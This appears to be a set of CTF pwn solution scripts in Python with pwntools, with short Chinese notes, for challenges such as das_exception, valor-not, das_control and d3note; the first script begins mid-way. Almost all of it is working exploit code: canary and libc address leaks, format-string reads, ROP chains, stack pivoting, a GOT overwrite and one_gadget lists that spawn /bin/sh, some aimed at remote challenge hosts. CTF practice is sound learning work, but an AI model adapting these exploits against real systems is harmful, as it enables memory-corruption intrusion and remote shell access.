io.recvuntil(b"0"+b"a"*0x18)
canary = u64(io.recv(7).rjust(8, b"\x00"))
log.success("canary: "+hex(canary))
# leak libc_base
payload = b"0"+b"a"*0x37
add(payload)
io.recvuntil(b"0"+b"a"*0x37)
libc_base = u64(io.recvuntil(b" ", drop=True).ljust(8, b"\x00")) - 0x29d90
log.success("libc_base: "+hex(libc_base))
# leak elf_base
payload = b"0"+b"a"*0x47
add(payload)
io.recvuntil(b"0"+b"a"*0x47)
elf_base = u64(io.recvuntil(b" ", drop=True).ljust(8, b"\x00")) - 0x157a5
log.success("elf_base: "+hex(elf_base))
# leak stack_addr
payload = b"0"+b"a"*0x57
add(payload)
io.recvuntil(b"0"+b"a"*0x57)
stack_addr = u64(io.recvuntil(b" ", drop=True).ljust(8, b"\x00"))
log.success("stack_addr: "+hex(stack_addr))
ogg = libc_base+0xebc88
target = elf_base + 0x000b3ed4
pop_rsi = libc_base+0x000000000002be51
pop_rdx_r12 = libc_base+0x000000000011f2e7
landingpad = elf_base + 0x17731
# 0x55555556acb7 <__cxa_throw+55> call _Unwind_RaiseException@plt <_Unwind_RaiseException@plt>
# gdb.attach(io, 'b *$rebase(0x16cb7)')
gdb.attach(io)
payload = cyclic(0x30)+p64(stack_addr) + \
p64(landingpad+1)+p64(0xdeadbeef)+p64(pop_rdx_r12) + \
p64(0)*2+p64(pop_rsi)+p64(0)+p64(ogg)
print(f"offset:{cyclic_find(0x6161616461616163)}") # offset: 8
add(payload)
io.interactive()
# 0x50a47 posix_spawn(rsp+0x1c, "/bin/sh", 0, rbp, rsp+0x60, environ)
# constraints:
# rsp & 0xf == 0
# rcx == NULL
# rbp == NULL || (u16)[rbp] == NULL
# 0xebc81 execve("/bin/sh", r10, [rbp-0x70])
# constraints:
# address rbp-0x78 is writable
# [r10] == NULL || r10 == NULL
# [[rbp-0x70]] == NULL || [rbp-0x70] == NULL
# 0xebc85 execve("/bin/sh", r10, rdx)
# constraints:
# address rbp-0x78 is writable
# [r10] == NULL || r10 == NULL
# [rdx] == NULL || rdx == NULL
# 0xebc88 execve("/bin/sh", rsi, rdx)
# constraints:
# address rbp-0x78 is writable
# [rsi] == NULL || rsi == NULL
# [rdx] == NULL || rdx == NULL
# 0xebce2 execve("/bin/sh", rbp-0x50, r12)
# constraints:
# address rbp-0x48 is writable
# [rbp-0x50] == NULL || rbp-0x50 == NULL
# [r12] == NULL || r12 == NULL
# 0xebd3f execve("/bin/sh", rbp-0x50, [rbp-0x70])
# constraints:
# address rbp-0x48 is writable
# [rbp-0x50] == NULL || rbp-0x50 == NULL
# [[rbp-0x70]] == NULL || [rbp-0x70] == NULL
# 0xebd43 execve("/bin/sh", rbp-0x50, [rbp-0x70])
# constraints:
# address rbp-0x50 is writable
# [rbp-0x50] == NULL || rbp-0x50 == NULL
# [[rbp-0x70]] == NULL || [rbp-0x70] == NULL
das_exception:
劫持main返回地址,正常栈回退可以getshell
from pwn import *
context(log_level='debug', arch='amd64', terminal=['tmux', 'splitw', '-h'])
io = process("./exception")
# io = remote("node5.buuoj.cn", 27319)
elf = ELF("./exception")
libc = elf.libc
io.sendafter(b"name\n", b"%7$p.%9$p.%11$p.")
canary = int(io.recvuntil(b".", drop=True), 16)
base_addr = int(io.recvuntil(b".", drop=True), 16)-0x1480
leak_addr = int(io.recvuntil(b".", drop=True), 16)-0x24083
log.success("canary: "+hex(canary))
log.success("base_addr: "+hex(base_addr))
log.success("leak_addr: "+hex(leak_addr))
io.recvuntil(b"stack\n")
stack_addr = int(io.recvuntil(b"\n", drop=True), 16)
log.success("stack_addr: "+hex(stack_addr))
gdb.attach(io, 'b *0x7ffff7ddb093')
ogg = leak_addr+0xe3afe
pop_rdi = leak_addr+0x0000000000023b6a
pop_r12 = leak_addr+0x00000000001143a1
str_sh = leak_addr+next(libc.search(b"/bin/sh"))
sys_addr = leak_addr+libc.sym[b"system"]
payload = b"a"*0x68+p64(canary) + \
p64(stack_addr+0xa0)+p64(base_addr+0x1408) + \
p64(canary)*5+p64(pop_r12)+p64(0)+p64(ogg)
# payload = b"aaaaaaaa"
io.sendafter(b"exception?\n", payload)
io.interactive()
# 0xe3afe execve("/bin/sh", r15, r12)
# constraints:
# [r15] == NULL || r15 == NULL
# [r12] == NULL || r12 == NULL
# 0xe3b01 execve("/bin/sh", r15, rdx)
# constraints:
# [r15] == NULL || r15 == NULL
# [rdx] == NULL || rdx == NULL
# 0xe3b04 execve("/bin/sh", rsi, rdx)
# constraints:
# [rsi] == NULL || rsi == NULL
# [rdx] == NULL || rdx == NULL
plaid_valor-not:
off-by-one+oob,直接看源码:
from pwn import *
context(log_level='debug', arch='amd64', terminal=['tmux', 'splitw', '-h'])
# io = process("./valor-not")
io = remote("valornt.chal.pwni.ng", 1337)
elf = ELF("./valor-not")
def conf():
# io.sendlineafter(b"n): ", b"y")
io.sendline(b"y")
# gdb.attach(io)
# pause()
# bypass cheater_checker
io.sendlineafter(b"Choose your weapon: \n", b"3")
conf()
io.sendlineafter(b"leave?\n", b"a"*0x50+b"cheater")
conf()
io.sendlineafter(b"leave?\n", b"a"*0x64+p64(1))
# padding
for i in range(6):
io.sendlineafter(b"Choose your weapon: \n", b"3")
conf()
io.sendlineafter(b"leave?\n", b"s"*0x1+b"heck")
# bypass enemy_team check
io.sendlineafter(b"offs? \n", b"y")
io.sendline(b"heck"+b"a"*0x5c)
# conf()
# io.sendlineafter(b"leave?\n", b"a"*0x64)
io.interactive()
das_control:
vuln中溢出抛出异常,覆盖rbp
为gift
,之后打栈迁移
from pwn import *
context(log_level='debug', arch='amd64', terminal=['tmux', 'splitw', '-h'])
# io = process("./control")
io = remote("node5.buuoj.cn", 26788)
elf = ELF("./control")
libc = elf.libc
pop_rax = 0x0000000000462c27 # pop rax; ret;
syscall_ret = 0x000000000042f494 # syscall; ret;
pop_rdi = 0x0000000000401c72 # pop rdi; ret;
pop_rsi = 0x0000000000405285 # pop rsi; ret;
pop_rdx = 0x0000000000401aff # pop rdx; ret;
read_text = 0x402221
# 0x000000000045baa3: mov rdx, qword ptr [rsi + 6]; mov qword ptr [rdi], rcx; mov qword ptr [rdi + 6], rdx; ret;
magic_gadget = 0x000000000045baa3
# vuln =
io.sendafter(b"Gift> ", p64(magic_gadget)+p64(read_text))
# gdb.attach(io, 'b *0x000000000045baa3\nset follow-fork-mode parent\n')
payload = cyclic(0x70)+p64(0x4D3348)+p64(0x04021fa+1)
io.sendafter(b"control?\n", payload)
payload = b"/bin/sh\x00"+p64(pop_rdi)+p64(0x4d3350)+p64(pop_rdx) + \
p64(0)+p64(pop_rsi)+p64(0)+p64(pop_rax)+p64(0x3b)+p64(syscall_ret)
io.sendafter(b"again", payload)
io.interactive()
d3note:
越界读写改got表
from pwn import *
context(log_level='debug', arch='amd64', terminal=['tmux', 'splitw', '-h'])
io = process("./pwn")
elf = ELF("./pwn")
libc = elf.libc
def op114(c1, c2, cc): # malloc
io.sendline(str(0x114))
io.sendline(str(c1))
io.sendline(str(c2))
io.sendline(cc)
def op514(c1): # puts
io.sendline(str(0x514))
io.sendline(str(c1))
def op1919(c1): # free
io.sendline(str(0x1919))
io.sendline(str(c1))
def op810(c1, cc): # edit
io.sendline(str(0x810))
io.sendline(str(c1))
io.sendline(cc)
# pause()
op114(0, 0x90, b"/bin/sh\x00")
op1919(0)
op114(0, 0x90, b"/bin/sh\x00")
op514(-0x39f)
leak_addr = u64(io.recv(6).ljust(8, b'\x00'))-libc.sym[b"setbuf"]
log.success(f"leak_addr: {hex(leak_addr)}")
sys_addr = leak_addr + libc.sym[b"system"]
gdb.attach(io)
op114(-0xa, sys_addr & 0xffffffff, b"a")
op1919(0)
io.interactive()